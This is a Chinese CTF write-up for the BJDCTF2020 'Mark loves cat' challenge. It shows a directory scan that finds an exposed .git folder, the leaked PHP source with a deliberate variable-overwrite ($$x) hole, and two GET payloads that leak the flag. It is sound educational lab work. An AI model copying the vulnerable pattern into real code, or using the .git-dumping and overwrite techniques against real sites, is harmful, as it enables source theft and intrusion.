[BJDCTF2020]Mark loves cat (两种解法)(变量覆盖漏洞)

看了大佬们的WP,才搞明白,话不多说,打开靶机

 

 

进去就先扫一下dirsearch

dirsearch.py -u url -e * --timeout=2 -t 1 -x 400,403,404,500,503,429  (低线程)

发现.git文件

 

 

 用githack下载,建议用py3的

下载下来审计源码

<?php

include 'flag.php';

$yds = "dog";
$is = "cat";
$handsome = 'yds';

foreach($_POST as $x => $y){    //很明显的有变量覆写漏洞   
    $$x = $y  ;
}

foreach($_GET as $x => $y){    //如果传入$x=flag&$y=flag 则$flag=$flag就可以输出结果
    $$x = $$y;
}

foreach($_GET as $x => $y){
    if($_GET['flag'] === $x && $x !== 'flag'){    //传入GET的键名要为flag,然而键名又不能有flag,(直接弃了这个)
        exit($handsome);
    }
}

if(!isset($_GET['flag']) && !isset($_POST['flag'])){   //不存在键名为flag的GET与POST,输出变量$yds
    exit($yds);
}

if($_POST['flag'] === 'flag'  || $_GET['flag'] === 'flag'){   //传入的POST的键名为flag,且GET的键名也为flag,值都为flag,则输出变量$is
    exit($is);
}



echo "the flag is: ".$flag;

那一开始是完全没有头绪,也是第一次写变量覆写的题

审计代码之后,先尝试POST与GET传参

if($_POST['flag'] === 'flag'  || $_GET['flag'] === 'flag'){   //传入的POST的键名为flag,且GET的键名也为flag,值都为flag,则输出变量$is
    exit($is);
}

 

 

 传出了$is,说明可行,那就研究一下传递,通过覆写掉is的值,给他赋一个flag的值,让参数成为 $flag=$flag,所以payload= /?is=flag&flag=flag

得到了flag

还有一种是利用

foreach($_GET as $x => $y){    //如果传入$x=flag&$y=flag 则$flag=$flag就可以输出结果
    $$x = $$y;
}

通过覆写yds参数进行输出,对yds GET传值,payload为:/?yds=flag ,即$yds=flag => $y=flag   -----> $flag=$flag

if(!isset($_GET['flag']) && !isset($_POST['flag'])){   //不存在键名为flag的GET与POST,输出变量$yds
    exit($yds);     //$yds=$flag
}

一样可以得到flag

 

posted @ 2021-08-16 11:48  Dixk-BXy  阅读(301)  评论(0)    收藏  举报
Live2D